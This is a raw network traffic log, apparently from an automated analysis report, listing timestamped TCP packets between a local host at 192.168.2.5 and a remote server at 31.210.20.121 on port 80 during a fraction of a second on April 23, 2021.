Apr 23, 2021 11:07:50.542355061 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.542356968 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.542381048 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.542382956 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.542407036 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.542412043 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.542433023 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.542438984 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.542450905 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.542464018 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.542475939 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.542489052 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.542499065 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.542515039 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.542524099 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.542541027 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.542563915 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.542563915 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.542586088 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.542607069 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.542613029 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.542635918 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.542640924 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.542664051 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.542674065 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.542687893 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.542712927 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.542728901 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.542737961 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.542746067 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.542761087 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.542783022 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.542783976 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.542817116 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.542819977 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.542841911 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.542862892 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.542885065 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.542886972 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.542907953 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.542910099 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.542932987 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.542947054 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.542958021 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.542973042 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.542979956 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.543005943 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.543006897 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.543028116 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.543032885 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.543050051 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.543056011 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.543072939 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.543080091 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.543098927 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.543118954 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.543127060 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.543153048 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.543155909 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.543178082 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.543195009 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.543200970 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.543224096 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.543229103 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.543245077 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.543265104 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.543268919 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.543301105 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.578592062 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.579531908 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.582937956 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.583030939 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.588823080 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.588934898 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.589587927 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.589624882 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.589684963 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.589735985 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.596750021 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.596784115 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.596810102 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.596833944 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.596848011 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.596863031 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.596884966 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.596890926 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.596904993 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.596915960 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.596939087 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.596939087 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.596950054 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.596965075 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.596973896 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.596997976 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597019911 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597021103 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.597044945 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597069025 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597085953 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.597099066 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597101927 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.597125053 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597146034 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.597151041 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597177029 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597198009 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.597202063 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597223043 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.597229004 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597258091 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.597259045 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597284079 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.597286940 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597296953 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.597313881 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597337961 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.597338915 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597348928 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.597364902 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597371101 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.597414970 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597423077 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.597440958 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597467899 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597470999 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.597491026 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597505093 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.597516060 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597518921 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.597539902 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597549915 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.597564936 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597590923 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597594023 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.597616911 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597634077 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.597637892 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597660065 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597661972 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.597683907 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597698927 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.597706079 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597718000 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.597729921 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597750902 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.597754002 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597776890 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.597783089 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597795963 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.597809076 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597845078 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.597857952 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597879887 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597882032 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.597909927 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597922087 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.597934008 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597946882 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.597960949 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597985029 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.597994089 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.598009109 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.598028898 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.598036051 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.598059893 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.598068953 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.598086119 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.598105907 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.598108053 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.598133087 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.598151922 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.598156929 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.598170042 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.598186970 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.598197937 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.598212004 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.598227978 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.598236084 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.598248005 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.598261118 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.598269939 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.598284960 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.598289967 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.599148989 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.611099005 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.629195929 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.629323959 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.631972075 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.632046938 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.638042927 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.638223886 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.640127897 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.640160084 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.640176058 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.640217066 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.640258074 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.647876024 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.647958994 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.647984982 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.647998095 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648005962 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.648010015 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648030043 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.648034096 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648086071 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.648102999 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648121119 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648133039 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.648138046 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648152113 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648173094 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648190022 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648196936 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.648204088 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.648211956 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648231983 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648236990 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.648272038 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.648332119 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648349047 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648355961 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.648365021 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648381948 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648385048 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.648406029 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648408890 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.648451090 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.648453951 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.648468018 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648485899 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648525000 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648540974 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648545980 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.648559093 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648575068 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648582935 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.648597002 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648597002 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.648616076 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648632050 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648639917 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.648649931 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648665905 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648678064 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648678064 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.648693085 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648696899 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.648710012 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648727894 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648730993 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.648745060 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648746967 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.648761034 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648773909 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648778915 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.648787022 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648802996 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648818970 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648821115 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.648839951 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648855925 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.648859024 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648875952 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648878098 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.648891926 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648910999 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648912907 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.648926973 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.648982048 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.648993015 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.649010897 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.649018049 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.649032116 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.649043083 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.649049997 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.649074078 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.649075031 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.649095058 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.649096012 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.649113894 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.649115086 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.649131060 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.649148941 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.649149895 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.649166107 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.649182081 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.649199963 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.649202108 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.649215937 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.649223089 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.649234056 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.649235964 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.649255991 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.649290085 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.679913998 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.680010080 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.682147980 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.682224035 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.688266993 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.688364983 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.690613985 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.690653086 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.690681934 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.690696955 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.690758944 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.702218056 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.702259064 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.702286959 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.702313900 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.702336073 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.702339888 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.702366114 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.702368975 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.702393055 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.702451944 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.702476025 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.702539921 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.702553034 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.702588081 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.702613115 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.702616930 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.702646017 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.702673912 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.702675104 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.702699900 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.702704906 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.702733994 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.702754974 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.702758074 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.702789068 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.702810049 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.702819109 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.702826977 CEST	49703	80	192.168.2.5	31.210.20.121
